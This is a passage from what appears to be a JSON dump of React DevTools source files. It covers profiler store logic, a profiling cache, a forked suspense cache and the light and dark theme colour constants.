this._inProgressOperationsByRootID.clear();\n    this._rendererQueue.clear();\n\n    // Invalidate suspense cache if profiling data is being (re-)recorded.\n    // Note that we clear now because any existing data is \"stale\".\n    this._cache.invalidate();\n\n    this.emit('profilingData');\n  }\n\n  startProfiling(): void {\n    this.clear();\n\n    this._bridge.send('startProfiling', {\n      recordChangeDescriptions: this._store.recordChangeDescriptions,\n      recordTimeline: this._store.supportsTimeline,\n    });\n\n    this._isProfilingBasedOnUserInput = true;\n    this.emit('isProfiling');\n\n    // Don't actually update the local profiling boolean yet!\n    // Wait for onProfilingStatus() to confirm the status has changed.\n    // This ensures the frontend and backend are in sync wrt which commits were profiled.\n    // We do this to avoid mismatches on e.g. CommitTreeBuilder that would cause errors.\n  }\n\n  stopProfiling(): void {\n    this._bridge.send('stopProfiling');\n\n    // Backend might be busy serializing the payload, so we are going to display\n    // optimistic UI to the user that profiling is stopping.\n    this._isProfilingBasedOnUserInput = false;\n    this.emit('isProfiling');\n\n    // Wait for onProfilingStatus() to confirm the status has changed, this will update _isBackendProfiling.\n    // This ensures the frontend and backend are in sync wrt which commits were profiled.\n    // We do this to avoid mismatches on e.g. CommitTreeBuilder that would cause errors.\n  }\n\n  _takeProfilingSnapshotRecursive: (\n    elementID: number,\n    profilingSnapshots: Map<number, SnapshotNode>,\n  ) => void = (elementID, profilingSnapshots) => {\n    const element = this._store.getElementByID(elementID);\n    if (element !== null) {\n      const snapshotNode: SnapshotNode = {\n        id: elementID,\n        children: element.children.slice(0),\n        displayName: element.displayName,\n        hocDisplayNames: element.hocDisplayNames,\n        key: element.key,\n        type: element.type,\n        compiledWithForget: element.compiledWithForget,\n      };\n      profilingSnapshots.set(elementID, snapshotNode);\n\n      element.children.forEach(childID =>\n        this._takeProfilingSnapshotRecursive(childID, profilingSnapshots),\n      );\n    }\n  };\n\n  onBridgeOperations: (operations: Array<number>) => void = operations => {\n    // The first two values are always rendererID and rootID\n    const rendererID = operations[0];\n    const rootID = operations[1];\n\n    if (this._isBackendProfiling) {\n      let profilingOperations = this._inProgressOperationsByRootID.get(rootID);\n      if (profilingOperations == null) {\n        profilingOperations = [operations];\n        this._inProgressOperationsByRootID.set(rootID, profilingOperations);\n      } else {\n        profilingOperations.push(operations);\n      }\n\n      if (!this._initialRendererIDs.has(rendererID)) {\n        this._initialRendererIDs.add(rendererID);\n      }\n\n      if (!this._initialSnapshotsByRootID.has(rootID)) {\n        this._initialSnapshotsByRootID.set(rootID, new Map());\n      }\n\n      this._rendererIDsThatReportedProfilingData.add(rendererID);\n    }\n  };\n\n  onBridgeProfilingData: (dataBackend: ProfilingDataBackend) => void =\n    dataBackend => {\n      if (this._isBackendProfiling) {\n        // This should never happen, but if it does, then ignore previous profiling data.\n        return;\n      }\n\n      const {rendererID} = dataBackend;\n\n      if (!this._rendererQueue.has(rendererID)) {\n        throw Error(\n          `Unexpected profiling data update from renderer \"${rendererID}\"`,\n        );\n      }\n\n      this._dataBackends.push(dataBackend);\n      this._rendererQueue.delete(rendererID);\n\n      if (this._rendererQueue.size === 0) {\n        this._dataFrontend = prepareProfilingDataFrontendFromBackendAndStore(\n          this._dataBackends,\n          this._inProgressOperationsByRootID,\n          this._initialSnapshotsByRootID,\n        );\n\n        this._dataBackends.splice(0);\n\n        this.emit('isProcessingData');\n      }\n    };\n\n  onBridgeShutdown: () => void = () => {\n    this._bridge.removeListener('operations', this.onBridgeOperations);\n    this._bridge.removeListener('profilingData', this.onBridgeProfilingData);\n    this._bridge.removeListener('profilingStatus', this.onProfilingStatus);\n    this._bridge.removeListener('shutdown', this.onBridgeShutdown);\n  };\n\n  onProfilingStatus: (isProfiling: boolean) => void = isProfiling => {\n    if (this._isBackendProfiling === isProfiling) {\n      return;\n    }\n\n    if (isProfiling) {\n      this._dataBackends.splice(0);\n      this._dataFrontend = null;\n      this._initialRendererIDs.clear();\n      this._initialSnapshotsByRootID.clear();\n      this._inProgressOperationsByRootID.clear();\n      this._rendererIDsThatReportedProfilingData.clear();\n      this._rendererQueue.clear();\n\n      // Record all renderer IDs initially too (in case of unmount)\n      // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n      for (const rendererID of this._store.rootIDToRendererID.values()) {\n        if (!this._initialRendererIDs.has(rendererID)) {\n          this._initialRendererIDs.add(rendererID);\n        }\n      }\n\n      // Record snapshot of tree at the time profiling is started.\n      // This info is required to handle cases of e.g. nodes being removed during profiling.\n      this._store.roots.forEach(rootID => {\n        const profilingSnapshots = new Map<number, SnapshotNode>();\n        this._initialSnapshotsByRootID.set(rootID, profilingSnapshots);\n        this._takeProfilingSnapshotRecursive(rootID, profilingSnapshots);\n      });\n    }\n\n    this._isBackendProfiling = isProfiling;\n    // _isProfilingBasedOnUserInput should already be updated from startProfiling, stopProfiling, or constructor.\n    if (this._isProfilingBasedOnUserInput !== isProfiling) {\n      logEvent({\n        event_name: 'error',\n        error_message: `Unexpected profiling status. Expected ${this._isProfilingBasedOnUserInput.toString()}, but received ${isProfiling.toString()}.`,\n        error_stack: new Error().stack,\n        error_component_stack: null,\n      });\n\n      // If happened, fallback to displaying the value from Backend\n      this._isProfilingBasedOnUserInput = isProfiling;\n    }\n\n    // Invalidate suspense cache if profiling data is being (re-)recorded.\n    // Note that we clear again, in case any views read from the cache while profiling.\n    // (That would have resolved a now-stale value without any profiling data.)\n    this._cache.invalidate();\n\n    // If we've just finished a profiling session, we need to fetch data stored in each renderer interface\n    // and re-assemble it on the front-end into a format (ProfilingDataFrontend) that can power the Profiler UI.\n    // During this time, DevTools UI should probably not be interactive.\n    if (!isProfiling) {\n      this._dataBackends.splice(0);\n      this._rendererQueue.clear();\n\n      // Only request data from renderers that actually logged it.\n      // This avoids unnecessary bridge requests and also avoids edge case mixed renderer bugs.\n      // (e.g. when v15 and v16 are both present)\n      this._rendererIDsThatReportedProfilingData.forEach(rendererID => {\n        if (!this._rendererQueue.has(rendererID)) {\n          this._rendererQueue.add(rendererID);\n\n          this._bridge.send('getProfilingData', {rendererID});\n        }\n      });\n\n      this.emit('isProcessingData');\n    }\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/ProfilingCache.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport ProfilerStore from './ProfilerStore';\nimport {\n  getCommitTree,\n  invalidateCommitTrees,\n} from 'react-devtools-shared/src/devtools/views/Profiler/CommitTreeBuilder';\nimport {\n  getChartData as getFlamegraphChartData,\n  invalidateChartData as invalidateFlamegraphChartData,\n} from 'react-devtools-shared/src/devtools/views/Profiler/FlamegraphChartBuilder';\nimport {\n  getChartData as getRankedChartData,\n  invalidateChartData as invalidateRankedChartData,\n} from 'react-devtools-shared/src/devtools/views/Profiler/RankedChartBuilder';\n\nimport type {CommitTree} from 'react-devtools-shared/src/devtools/views/Profiler/types';\nimport type {ChartData as FlamegraphChartData} from 'react-devtools-shared/src/devtools/views/Profiler/FlamegraphChartBuilder';\nimport type {ChartData as RankedChartData} from 'react-devtools-shared/src/devtools/views/Profiler/RankedChartBuilder';\n\nexport default class ProfilingCache {\n  _fiberCommits: Map<number, Array<number>> = new Map();\n  _profilerStore: ProfilerStore;\n\n  constructor(profilerStore: ProfilerStore) {\n    this._profilerStore = profilerStore;\n  }\n\n  getCommitTree: ({commitIndex: number, rootID: number}) => CommitTree = ({\n    commitIndex,\n    rootID,\n  }) =>\n    getCommitTree({\n      commitIndex,\n      profilerStore: this._profilerStore,\n      rootID,\n    });\n\n  getFiberCommits: ({fiberID: number, rootID: number}) => Array<number> = ({\n    fiberID,\n    rootID,\n  }) => {\n    const cachedFiberCommits = this._fiberCommits.get(fiberID);\n    if (cachedFiberCommits != null) {\n      return cachedFiberCommits;\n    }\n\n    const fiberCommits = [];\n    const dataForRoot = this._profilerStore.getDataForRoot(rootID);\n    dataForRoot.commitData.forEach((commitDatum, commitIndex) => {\n      if (commitDatum.fiberActualDurations.has(fiberID)) {\n        fiberCommits.push(commitIndex);\n      }\n    });\n\n    this._fiberCommits.set(fiberID, fiberCommits);\n\n    return fiberCommits;\n  };\n\n  getFlamegraphChartData: ({\n    commitIndex: number,\n    commitTree: CommitTree,\n    rootID: number,\n  }) => FlamegraphChartData = ({commitIndex, commitTree, rootID}) =>\n    getFlamegraphChartData({\n      commitIndex,\n      commitTree,\n      profilerStore: this._profilerStore,\n      rootID,\n    });\n\n  getRankedChartData: ({\n    commitIndex: number,\n    commitTree: CommitTree,\n    rootID: number,\n  }) => RankedChartData = ({commitIndex, commitTree, rootID}) =>\n    getRankedChartData({\n      commitIndex,\n      commitTree,\n      profilerStore: this._profilerStore,\n      rootID,\n    });\n\n  invalidate() {\n    this._fiberCommits.clear();\n\n    invalidateCommitTrees();\n    invalidateFlamegraphChartData();\n    invalidateRankedChartData();\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/cache.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ReactContext,\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport {createContext} from 'react';\n\n// TODO (cache) Remove this cache; it is outdated and will not work with newer APIs like startTransition.\n\n// Cache implementation was forked from the React repo:\n// https://github.com/facebook/react/blob/main/packages/react-cache/src/ReactCacheOld.js\n//\n// This cache is simpler than react-cache in that:\n// 1. Individual items don't need to be invalidated.\n//    Profiling data is invalidated as a whole.\n// 2. We didn't need the added overhead of an LRU cache.\n//    The size of this cache is bounded by how many renders were profiled,\n//    and it will be fully reset between profiling sessions.\n\nexport type {Thenable};\n\nexport type Resource<Input, Key, Value> = {\n  clear(): void,\n  invalidate(Key): void,\n  read(Input): Value,\n  preload(Input): void,\n  write(Key, Value): void,\n};\n\nlet readContext;\nif (typeof React.use === 'function') {\n  readContext = function (Context: ReactContext<null>) {\n    // eslint-disable-next-line react-hooks-published/rules-of-hooks\n    return React.use(Context);\n  };\n} else if (\n  typeof (React: any).__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED ===\n  'object'\n) {\n  const ReactCurrentDispatcher = (React: any)\n    .__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentDispatcher;\n  readContext = function (Context: ReactContext<null>) {\n    const dispatcher = ReactCurrentDispatcher.current;\n    if (dispatcher === null) {\n      throw new Error(\n        'react-cache: read and preload may only be called from within a ' +\n          \"component's render. They are not supported in event handlers or \" +\n          'lifecycle methods.',\n      );\n    }\n    return dispatcher.readContext(Context);\n  };\n} else {\n  throw new Error('react-cache: Unsupported React version');\n}\n\nconst CacheContext = createContext(null);\n\ntype Config = {useWeakMap?: boolean, ...};\n\nconst entries: Map<\n  Resource<any, any, any>,\n  Map<any, any> | WeakMap<any, any>,\n> = new Map();\nconst resourceConfigs: Map<Resource<any, any, any>, Config> = new Map();\n\nfunction getEntriesForResource(\n  resource: any,\n): Map<any, any> | WeakMap<any, any> {\n  let entriesForResource: Map<any, any> | WeakMap<any, any> = ((entries.get(\n    resource,\n  ): any): Map<any, any>);\n  if (entriesForResource === undefined) {\n    const config = resourceConfigs.get(resource);\n    entriesForResource =\n      config !== undefined && config.useWeakMap ? new WeakMap() : new Map();\n    entries.set(resource, entriesForResource);\n  }\n  return entriesForResource;\n}\n\nfunction accessResult<Input, Key, Value>(\n  resource: any,\n  fetch: Input => Thenable<Value>,\n  input: Input,\n  key: Key,\n): Thenable<Value> {\n  const entriesForResource = getEntriesForResource(resource);\n  const entry = entriesForResource.get(key);\n  if (entry === undefined) {\n    const thenable = fetch(input);\n    thenable.then(\n      value => {\n        const fulfilledThenable: FulfilledThenable<Value> = (thenable: any);\n        fulfilledThenable.status = 'fulfilled';\n        fulfilledThenable.value = value;\n      },\n      error => {\n        const rejectedThenable: RejectedThenable<Value> = (thenable: any);\n        rejectedThenable.status = 'rejected';\n        rejectedThenable.reason = error;\n      },\n    );\n    entriesForResource.set(key, thenable);\n    return thenable;\n  } else {\n    return entry;\n  }\n}\n\nexport function createResource<Input, Key, Value>(\n  fetch: Input => Thenable<Value>,\n  hashInput: Input => Key,\n  config?: Config = {},\n): Resource<Input, Key, Value> {\n  const resource = {\n    clear(): void {\n      entries.delete(resource);\n    },\n\n    invalidate(key: Key): void {\n      const entriesForResource = getEntriesForResource(resource);\n      entriesForResource.delete(key);\n    },\n\n    read(input: Input): Value {\n      // Prevent access outside of render.\n      readContext(CacheContext);\n\n      const key = hashInput(input);\n      const result: Thenable<Value> = accessResult(resource, fetch, input, key);\n      if (typeof React.use === 'function') {\n        // eslint-disable-next-line react-hooks-published/rules-of-hooks\n        return React.use(result);\n      }\n\n      switch (result.status) {\n        case 'fulfilled': {\n          const value = result.value;\n          return value;\n        }\n        case 'rejected': {\n          const error = result.reason;\n          throw error;\n        }\n        default:\n          throw result;\n      }\n    },\n\n    preload(input: Input): void {\n      // Prevent access outside of render.\n      readContext(CacheContext);\n\n      const key = hashInput(input);\n      accessResult(resource, fetch, input, key);\n    },\n\n    write(key: Key, value: Value): void {\n      const entriesForResource = getEntriesForResource(resource);\n\n      const fulfilledThenable: FulfilledThenable<Value> = (Promise.resolve(\n        value,\n      ): any);\n      fulfilledThenable.status = 'fulfilled';\n      fulfilledThenable.value = value;\n\n      entriesForResource.set(key, fulfilledThenable);\n    },\n  };\n\n  resourceConfigs.set(resource, config);\n\n  return resource;\n}\n\nexport function invalidateResources(): void {\n  entries.clear();\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/constants.js",
    "content": "export const CHANGE_LOG_URL =\n  'https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md';\n\nexport const UNSUPPORTED_VERSION_URL =\n  'https://reactjs.org/blog/2019/08/15/new-react-devtools.html#how-do-i-get-the-old-version-back';\n\nexport const REACT_DEVTOOLS_WORKPLACE_URL =\n  'https://fburl.com/react-devtools-workplace-group';\n\nimport type {\n  Theme,\n  DisplayDensity,\n} from './devtools/views/Settings/SettingsContext';\n\nexport const THEME_STYLES: {[style: Theme | DisplayDensity]: any, ...} = {\n  light: {\n    '--color-attribute-name': '#ef6632',\n    '--color-attribute-name-not-editable': '#23272f',\n    '--color-attribute-name-inverted': 'rgba(255, 255, 255, 0.7)',\n    '--color-attribute-value': '#1a1aa6',\n    '--color-attribute-value-inverted': '#ffffff',\n    '--color-attribute-editable-value': '#1a1aa6',\n    '--color-background': '#ffffff',\n    '--color-background-hover': 'rgba(0, 136, 250, 0.1)',\n    '--color-background-inactive': '#e5e5e5',\n    '--color-background-invalid': '#fff0f0',\n    '--color-background-selected': '#0088fa',\n    '--color-button-background': '#ffffff',\n    '--color-button-background-focus': '#ededed',\n    '--color-button-background-hover': 'rgba(0, 0, 0, 0.2)',\n    '--color-button': '#5f6673',\n    '--color-button-disabled': '#cfd1d5',\n    '--color-button-active': '#0088fa',\n    '--color-button-focus': '#23272f',\n    '--color-button-hover': '#23272f',\n    '--color-border': '#eeeeee',\n    '--color-commit-did-not-render-fill': '#cfd1d5',\n    '--color-commit-did-not-render-fill-text': '#000000',\n    '--color-commit-did-not-render-pattern': '#cfd1d5',\n    '--color-commit-did-not-render-pattern-text': '#333333',\n    '--color-commit-gradient-0': '#37afa9',\n    '--color-commit-gradient-1': '#63b19e',\n    '--color-commit-gradient-2': '#80b393',\n    '--color-commit-gradient-3': '#97b488',\n    '--color-commit-gradient-4': '#abb67d',\n    '--color-commit-gradient-5': '#beb771',\n    '--color-commit-gradient-6': '#cfb965',\n    '--color-commit-gradient-7': '#dfba57',\n    '--color-commit-gradient-8': '#efbb49',\n    '--color-commit-gradient-9': '#febc38',\n    '--color-commit-gradient-text': '#000000',\n    '--color-component-name': '#6a51b2',\n    '--color-component-name-inverted': '#ffffff',\n    '--color-component-badge-background': '#e6e6e6',\n    '--color-component-badge-background-inverted': 'rgba(255, 255, 255, 0.25)',\n    '--color-component-badge-count': '#777d88',\n    '--color-component-badge-count-inverted': 'rgba(255, 255, 255, 0.7)',\n    '--color-console-error-badge-text': '#ffffff',\n    '--color-console-error-background': '#fff0f0',\n    '--color-console-error-border': '#ffd6d6',\n    '--color-console-error-icon': '#eb3941',\n    '--color-console-error-text': '#fe2e31',\n    '--color-console-warning-badge-text': '#000000',\n    '--color-console-warning-background': '#fffbe5',\n    '--color-console-warning-border': '#fff5c1',\n    '--color-console-warning-icon': '#f4bd00',\n    '--color-console-warning-text': '#64460c',\n    '--color-context-background': 'rgba(0,0,0,.9)',\n    '--color-context-background-hover': 'rgba(255, 255, 255, 0.1)',\n    '--color-context-background-selected': '#178fb9',\n    '--color-context-border': '#3d424a',\n    '--color-context-text': '#ffffff',\n    '--color-context-text-selected': '#ffffff',\n    '--color-dim': '#777d88',\n    '--color-dimmer': '#cfd1d5',\n    '--color-dimmest': '#eff0f1',\n    '--color-error-background': 'hsl(0, 100%, 97%)',\n    '--color-error-border': 'hsl(0, 100%, 92%)',\n    '--color-error-text': '#ff0000',\n    '--color-expand-collapse-toggle': '#777d88',\n    '--color-forget-badge-background': '#2683e2',\n    '--color-forget-badge-background-inverted': '#1a6bbc',\n    '--color-forget-text': '#fff',\n    '--color-link': '#0000ff',\n    '--color-modal-background': 'rgba(255, 255, 255, 0.75)',\n    '--color-bridge-version-npm-background': '#eff0f1',\n    '--color-bridge-version-npm-text': '#000000',\n    '--color-bridge-version-number': '#0088fa',\n    '--color-primitive-hook-badge-background': '#e5e5e5',\n    '--color-primitive-hook-badge-text': '#5f6673',\n    '--color-record-active': '#fc3a4b',\n    '--color-record-hover': '#3578e5',\n    '--color-record-inactive': '#0088fa',\n    '--color-resize-bar': '#eeeeee',\n    '--color-resize-bar-active': '#dcdcdc',\n    '--color-resize-bar-border': '#d1d1d1',\n    '--color-resize-bar-dot': '#333333',\n    '--color-timeline-internal-module': '#d1d1d1',\n    '--color-timeline-internal-module-hover': '#c9c9c9',\n    '--color-timeline-internal-module-text': '#444',\n    '--color-timeline-native-event': '#ccc',\n    '--color-timeline-native-event-hover': '#aaa',\n    '--color-timeline-network-primary': '#fcf3dc',\n    '--color-timeline-network-primary-hover': '#f0e7d1',\n    '--color-timeline-network-secondary': '#efc457',\n    '--color-timeline-network-secondary-hover': '#e3ba52',\n    '--color-timeline-priority-background': '#f6f6f6',\n    '--color-timeline-priority-border': '#eeeeee',\n    '--color-timeline-user-timing': '#c9cacd',\n    '--color-timeline-user-timing-hover': '#93959a',\n    '--color-timeline-react-idle': '#d3e5f6',\n    '--color-timeline-react-idle-hover': '#c3d9ef',\n    '--color-timeline-react-render': '#9fc3f3',\n    '--color-timeline-react-render-hover': '#83afe9',\n    '--color-timeline-react-render-text': '#11365e',\n    '--color-timeline-react-commit': '#c88ff0',\n    '--color-timeline-react-commit-hover': '#b281d6',\n    '--color-timeline-react-commit-text': '#3e2c4a',\n    '--color-timeline-react-layout-effects': '#b281d6',\n    '--color-timeline-react-layout-effects-hover': '#9d71bd',\n    '--color-timeline-react-layout-effects-text': '#3e2c4a',\n    '--color-timeline-react-passive-effects': '#b281d6',\n    '--color-timeline-react-passive-effects-hover': '#9d71bd',\n    '--color-timeline-react-passive-effects-text': '#3e2c4a',\n    '--color-timeline-react-schedule': '#9fc3f3',\n    '--color-timeline-react-schedule-hover': '#2683E2',\n    '--color-timeline-react-suspense-rejected': '#f1cc14',\n    '--color-timeline-react-suspense-rejected-hover': '#ffdf37',\n    '--color-timeline-react-suspense-resolved': '#a6e59f',\n    '--color-timeline-react-suspense-resolved-hover': '#89d281',\n    '--color-timeline-react-suspense-unresolved': '#c9cacd',\n    '--color-timeline-react-suspense-unresolved-hover': '#93959a',\n    '--color-timeline-thrown-error': '#ee1638',\n    '--color-timeline-thrown-error-hover': '#da1030',\n    '--color-timeline-text-color': '#000000',\n    '--color-timeline-text-dim-color': '#ccc',\n    '--color-timeline-react-work-border': '#eeeeee',\n    '--color-timebar-background': '#f6f6f6',\n    '--color-search-match': 'yellow',\n    '--color-search-match-current': '#f7923b',\n    '--color-selected-tree-highlight-active': 'rgba(0, 136, 250, 0.1)',\n    '--color-selected-tree-highlight-inactive': 'rgba(0, 0, 0, 0.05)',\n    '--color-scroll-caret': 'rgba(150, 150, 150, 0.5)',\n    '--color-tab-selected-border': '#0088fa',\n    '--color-text': '#000000',\n    '--color-text-invalid': '#ff0000',\n    '--color-text-selected': '#ffffff',\n    '--color-toggle-background-invalid': '#fc3a4b',\n    '--color-toggle-background-on': '#0088fa',\n    '--color-toggle-background-off': '#cfd1d5',\n    '--color-toggle-text': '#ffffff',\n    '--color-warning-background': '#fb3655',\n    '--color-warning-background-hover': '#f82042',\n    '--color-warning-text-color': '#ffffff',\n    '--color-warning-text-color-inverted': '#fd4d69',\n\n    '--color-suspense-default': '#0088fa',\n    '--color-transition-default': '#6a51b2',\n    '--color-suspense-server': '#62bc6a',\n    '--color-transition-server': '#3f7844',\n    '--color-suspense-other': '#f3ce49',\n    '--color-transition-other': '#917b2c',\n    '--color-suspense-errored': '#d57066',\n\n    // The styles below should be kept in sync with 'root.css'\n    // They are repeated there because they're used by e.g. tooltips or context menus\n    // which get rendered outside of the DOM subtree (where normal theme/styles are written).\n    '--color-scroll-thumb': '#c2c2c2',\n    '--color-scroll-track': '#fafafa',\n    '--color-tooltip-background': 'rgba(0, 0, 0, 0.9)',\n    '--color-tooltip-text': '#ffffff',\n\n    '--elevation-4':\n      '0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)',\n  },\n  dark: {\n    '--color-attribute-name': '#9d87d2',\n    '--color-attribute-name-not-editable': '#ededed',\n    '--color-attribute-name-inverted': '#282828',\n    '--color-attribute-value': '#cedae0',\n    '--color-attribute-value-inverted': '#ffffff',\n    '--color-attribute-editable-value': 'yellow',\n    '--color-background': '#282c34',\n    '--color-background-hover': 'rgba(255, 255, 255, 0.1)',\n    '--color-background-inactive': '#3d424a',\n    '--color-background-invalid': '#5c0000',\n    '--color-background-selected': '#178fb9',\n    '--color-button-background': '#282c34',\n    '--color-button-background-focus': '#3d424a',\n    '--color-button-background-hover': 'rgba(255, 255, 255, 0.2)',\n    '--color-button': '#afb3b9',\n    '--color-button-active': '#61dafb',\n    '--color-button-disabled': '#4f5766',\n    '--color-button-focus': '#a2e9fc',\n    '--color-button-hover': '#ededed',\n    '--color-border': '#3d424a',\n    '--color-commit-did-not-render-fill': '#777d88',\n    '--color-commit-did-not-render-fill-text': '#000000',\n    '--color-commit-did-not-render-pattern': '#666c77',\n    '--color-commit-did-not-render-pattern-text': '#ffffff',\n    '--color-commit-gradient-0': '#37afa9',\n    '--color-commit-gradient-1': '#63b19e',\n    '--color-commit-gradient-2': '#80b393',\n    '--color-commit-gradient-3': '#97b488',\n    '--color-commit-gradient-4': '#abb67d',\n    '--color-commit-gradient-5': '#beb771',\n    '--color-commit-gradient-6': '#cfb965',\n    '--color-commit-gradient-7': '#dfba57',\n    '--color-commit-gradient-8': '#efbb49',\n    '--color-commit-gradient-9': '#febc38',\n    '--color-commit-gradient-text': '#000000',\n    '--color-component-name': '#61dafb',\n    '--color-component-name-inverted': '#282828',\n    '--color-component-badge-background': '#5e6167',\n    '--color-component-badge-background-inverted': '#46494e',\n    '--color-component-badge-count': '#8f949d',\n    '--color-component-badge-count-inverted': 'rgba(255, 255, 255, 0.85)',\n    '--color-console-error-badge-text': '#000000',\n    '--color-console-error-background': '#290000',\n    '--color-console-error-border': '#5c0000',\n    '--color-console-error-icon': '#eb3941',\n    '--color-console-error-text': '#fc7f7f',\n    '--color-console-warning-badge-text': '#000000',\n    '--color-console-warning-background': '#332b00',\n    '--color-console-warning-border': '#665500',\n    '--color-console-warning-icon': '#f4bd00',\n    '--color-console-warning-text': '#f5f2ed',\n    '--color-context-background': 'rgba(255,255,255,.95)',\n    '--color-context-background-hover': 'rgba(0, 136, 250, 0.1)',\n    '--color-context-background-selected': '#0088fa',\n    '--color-context-border': '#eeeeee',\n    '--color-context-text': '#000000',\n    '--color-context-text-selected': '#ffffff',\n    '--color-dim': '#8f949d',\n    '--color-dimmer': '#777d88',\n    '--color-dimmest': '#4f5766',\n    '--color-error-background': '#200',\n    '--color-error-border': '#900',\n    '--color-error-text': '#f55',\n    '--color-expand-collapse-toggle': '#8f949d',\n    '--color-forget-badge-background': '#2683e2',\n    '--color-forget-badge-background-inverted': '#1a6bbc',\n    '--color-forget-text': '#fff',\n    '--color-link': '#61dafb',\n    '--color-modal-background': 'rgba(0, 0, 0, 0.75)',\n    '--color-bridge-version-npm-background': 'rgba(0, 0, 0, 0.25)',\n    '--color-bridge-version-npm-text': '#ffffff',\n    '--color-bridge-version-number': 'yellow',\n    '--color-primitive-hook-badge-background': 'rgba(0, 0, 0, 0.25)',\n    '--color-primitive-hook-badge-text': 'rgba(255, 255, 255, 0.7)',\n    '--color-record-active': '#fc3a4b',\n    '--color-record-hover': '#a2e9fc',\n    '--color-record-inactive': '#61dafb',\n    '--color-resize-bar': '#282c34',\n    '--color-resize-bar-active': '#31363f',\n    '--color-resize-bar-border': '#3d424a',\n    '--color-resize-bar-dot': '#cfd1d5',\n    '--color-timeline-internal-module': '#303542',\n    '--color-timeline-internal-module-hover': '#363b4a',\n    '--color-timeline-internal-module-text': '#7f8899',\n    '--color-timeline-native-event': '#b2b2b2',\n    '--color-timeline-native-event-hover': '#949494',\n    '--color-timeline-network-primary': '#fcf3dc',\n    '--color-timeline-network-primary-hover': '#e3dbc5',\n    '--color-timeline-network-secondary': '#efc457',\n    '--color-timeline-network-secondary-hover': '#d6af4d',\n    '--color-timeline-priority-background': '#1d2129',\n    '--color-timeline-priority-border': '#282c34',\n    '--color-timeline-user-timing': '#c9cacd',\n    '--color-timeline-user-timing-hover': '#93959a',\n    '--color-timeline-react-idle': '#3d485b',\n    '--color-timeline-react-idle-hover': '#465269',\n    '--color-timeline-react-render': '#2683E2',\n    '--color-timeline-react-render-hover': '#1a76d4',\n    '--color-timeline-react-render-text': '#11365e',\n    '--color-timeline-react-commit': '#731fad',\n    '--color-timeline-react-commit-hover': '#611b94',\n    '--color-timeline-react-commit-text': '#e5c1ff',\n    '--color-timeline-react-layout-effects': '#611b94',\n    '--color-timeline-react-layout-effects-hover': '#51167a',\n    '--color-timeline-react-layout-effects-text': '#e5c1ff',\n    '--color-timeline-react-passive-effects': '#611b94',\n    '--color-timeline-react-passive-effects-hover': '#51167a',\n    '--color-timeline-react-passive-effects-text': '#e5c1ff',\n    '--color-timeline-react-schedule': '#2683E2',\n    '--color-timeline-react-schedule-hover': '#1a76d4',\n    '--color-timeline-react-suspense-rejected': '#f1cc14',\n    '--color-timeline-react-suspense-rejected-hover': '#e4c00f',\n    '--color-timeline-react-suspense-resolved': '#a6e59f',\n    '--color-timeline-react-suspense-resolved-hover': '#89d281',\n    '--color-timeline-react-suspense-unresolved': '#c9cacd',\n    '--color-timeline-react-suspense-unresolved-hover': '#93959a',\n    '--color-timeline-thrown-error': '#fb3655',\n    '--color-timeline-thrown-error-hover': '#f82042',\n    '--color-timeline-text-color': '#282c34',\n    '--color-timeline-text-dim-color': '#555b66',\n    '--color-timeline-react-work-border': '#3d424a',\n    '--color-timebar-background': '#1d2129',\n    '--color-search-match': 'yellow',\n    '--color-search-match-current': '#f7923b',\n    '--color-selected-tree-highlight-active': 'rgba(23, 143, 185, 0.15)',\n    '--color-selected-tree-highlight-inactive': 'rgba(255, 255, 255, 0.05)',\n    '--color-scroll-caret': '#4f5766',\n    '--color-shadow': 'rgba(0, 0, 0, 0.5)',\n    '--color-tab-selected-border': '#178fb9',\n    '--color-text': '#ffffff',\n    '--color-text-invalid': '#ff8080',\n    '--color-text-selected': '#ffffff',\n    '--color-toggle-background-invalid': '#fc3a4b',\n    '--color-toggle-background-on': '#178fb9',\n    '--color-toggle-background-off': '#777d88',\n    '--color-toggle-text': '#ffffff',\n    '--color-warning-background': '#ee1638',\n    '--color-warning-background-hover': '#da1030',\n    '--color-warning-text-color': '#ffffff',\n    '--color-warning-text-color-inverted': '#ee1638',\n\n    '--color-suspense-default': '#61dafb',\n    '--color-transition-default': '#6a51b2',\n    '--color-suspense-server': '#62bc6a',\n    '--color-transition-server': '#3f7844',\n    '--color-suspense-other': '#f3ce49',\n    '--color-transition-other': '#917b2c',\n    '--color-suspense-errored': '#d57066',\n\n    // The styles below should be kept in sync with 'root.css'\n    // They are repeated there because they're used by e.g. tooltips or context menus\n    // which get rendered outside of the DOM subtree (where normal theme/styles are written).\n    '--color-scroll-thumb': '#afb3b9',\n    '--color-scroll-track': '#313640',\n    '--color-tooltip-background': 'rgba(255, 255, 255, 0.95)',\n    '--color-tooltip-text': '#000000',\n\n    '--elevation-4':\n      '0 2px 8px 0 rgba(0,0,0,0.32),0 4px 12px 0 rgba(0,0,0,0.24),0 1px 10px 0 rgba(0,0,0,0.18)',\n  },\n  compact: {\n    '--font-size-monospace-small': '9px',\n    '--font-size-monospace-normal': '11px',\n    '--font-size-monospace-large': '15px',\n    '--font-size-sans-small': '10px',\n    '--font-size-sans-normal': '12px',\n    '--font-size-sans-large': '14px',\n    '--line-height-data': '18px',\n  },\n  comfortable: {\n    '--font-size-monospace-small': '10px',\n    '--font-size-monospace-normal': '13px',\n    '--font-size-monospace-large': '17px',\n    '--font-size-sans-small': '12px',\n    '--font-size-sans-normal': '14px',\n    '--font-size-sans-large': '16px',\n    '--line-height-data': '22px',\n  },\n};\n\n// HACK\n//\n// Sometimes the inline target is rendered before root styles are 